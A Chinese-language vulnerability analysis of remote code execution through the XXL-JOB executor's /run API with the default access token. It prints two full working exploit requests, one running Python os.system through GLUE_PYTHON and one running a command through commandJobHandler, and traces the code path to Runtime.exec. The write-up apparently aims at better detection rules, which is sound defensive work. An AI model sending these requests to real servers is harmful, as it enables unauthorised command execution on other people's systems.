执行函数com/xxl/job/core/util/ScriptUtil.java/execToFile
主要有两种利用方式,glueType均有多种选择(BEAN、GLUE_GROOVY、GLUE_SHELL、GLUE_PYTHON、GLUE_PHP、GLUE_NODEJS、GLUE_POWERSHELL),对应修改payload即可。
第一种:
POST /run HTTP/1.1 Host: 192.168.120.119:9999 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.289 Safari/537.36 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: Keep-Alive Content-Type: application/json XXL-JOB-ACCESS-TOKEN: default_token Content-Length: 380 { "jobId": 203, "executorHandler": "demoJobHandler" , "executorParams": "demoJobHandler", "executorBlockStrategy": "COVER_EARLY", "executorTimeout": 0, "logId": 1, "logDateTime": 1699328616, "glueType": "GLUE_PYTHON", "glueSource": "import os;os.system(f'echo test>>D:/test.txt')", "glueUpdatetime": 1699328616, "broadcastIndex": 0, "broadcastTotal": 0 }
第二种:
POST /run HTTP/1.1 Host: 192.168.120.119:9999 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.289 Safari/537.36 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: application/json XXL-JOB-ACCESS-TOKEN: default_token Content-Length: 314 { "jobId": 2012, "executorHandler": "commandJobHandler" , "executorParams": "calc", "executorBlockStrategy": "", "executorTimeout": 0, "logId": 1, "logDateTime": 1586629003733, "glueType": "BEAN", "glueSource":1, "glueUpdatetime": 1586629003727, "broadcastIndex": 0, "broadcastTotal": 0 }
为提升系统安全性,调度中心和执行器进行安全性校验,双方AccessToken匹配才允许通讯;
调度中心和执行器,可通过配置项 “xxl.job.accessToken” 进行AccessToken的设置。
触发任务执行 ------ 地址格式:{执行器内嵌服务根地址}/run Header: XXL-JOB-ACCESS-TOKEN : {请求令牌} 请求数据格式如下,放置在 RequestBody 中,JSON格式: { "jobId":1, // 任务ID "executorHandler":"demoJobHandler", // 任务标识 "executorParams":"demoJobHandler", // 任务参数 "executorBlockStrategy":"COVER_EARLY", // 任务阻塞策略,可选值参考 com.xxl.job.core.enums.ExecutorBlockStrategyEnum "executorTimeout":0, // 任务超时时间,单位秒,大于零时生效 "logId":1, // 本次调度日志ID "logDateTime":1586629003729, // 本次调度日志时间 "glueType":"BEAN", // 任务模式,可选值参考 com.xxl.job.core.glue.GlueTypeEnum "glueSource":"xxx", // GLUE脚本代码 "glueUpdatetime":1586629003727, // GLUE脚本更新时间,用于判定脚本是否变更以及是否需要刷新 "broadcastIndex":0, // 分片参数:当前分片 "broadcastTotal":0 // 分片参数:总分片 } 响应数据格式: { "code": 200, // 200 表示正常、其他失败 "msg": null // 错误提示消息 }
1) 在com/xxl/job/core/executor/XxlJobExecutor.java中会初始化并启动“执行器”内嵌Server,默认端口9999。
2) 在com/xxl/job/core/server/EmbedServer.java中
a. 获取请求的内容、uri、方法和头部XXL-JOB-ACCESS-TOKEN。
b. 将上面获取到的请求信息传入Process方法,首先进行了三个判断:
任务执行的uri是/run,那么进入run分支,在run分支中,首先会将请求提交的json内容转化TriggerParam对象,并传入executorBiz.run方法中。
3) 在com/xxl/job/core/biz/impl/ExecutorBizImpl.java文件内的run方法中。
获取TriggerParam中保存的请求内容,如glueType参数,可以发现其实glueType支持多种形式,但目前网上公开的POC基本只有GLUE_SHELL、GLUE_POWERSHELL,实际测试发现其它同样可以实现RCE。
由于测试的glueType=GLUE_PYTHON,那么最终进入脚本判断流程,获取ScriptJobHandler处理对象,传入XxlJobExecutor.registJobThread方法进行后续处理。
4) 在com/xxl/job/core/executor/XxlJobExecutor.java中,通过请求中的jobId、handler创建线程,并通过start执行JobThread中的run()方法。
5)在com/xxl/job/core/thread/JobThread.java中,执行handler.execute();hadler是IJobHandler的对象,而ScriptJobHandler是IJobHandler子类,最终会进入到ScriptJobHandler的execute方法中
6) 在com/xxl/job/core/handler/impl/ScriptJobHandler.java的execute()方法中,首先会根据传入的脚本类型和命令生成对应的脚本文件,然后传入脚本文件路径ScriptUtil.execToFile()中。
6) 在com/xxl/job/core/util/ScriptUtil.java中,通过Runtime.getRuntime().exec()实现命令执行。
总结:
1) 网上公开的POC基本只有一两种利用情况,按照实际测试情况看,其它多种脚本方式也可以成功执行,单单基于公开的POC开发检测规则在实战中会检测不全;
2)从分析情况看,有些参数是必须的,比如方法必须是POST等,否则无法成功利用。因此在写检测规则时可以基于必须的参数严格限制,避免冗余。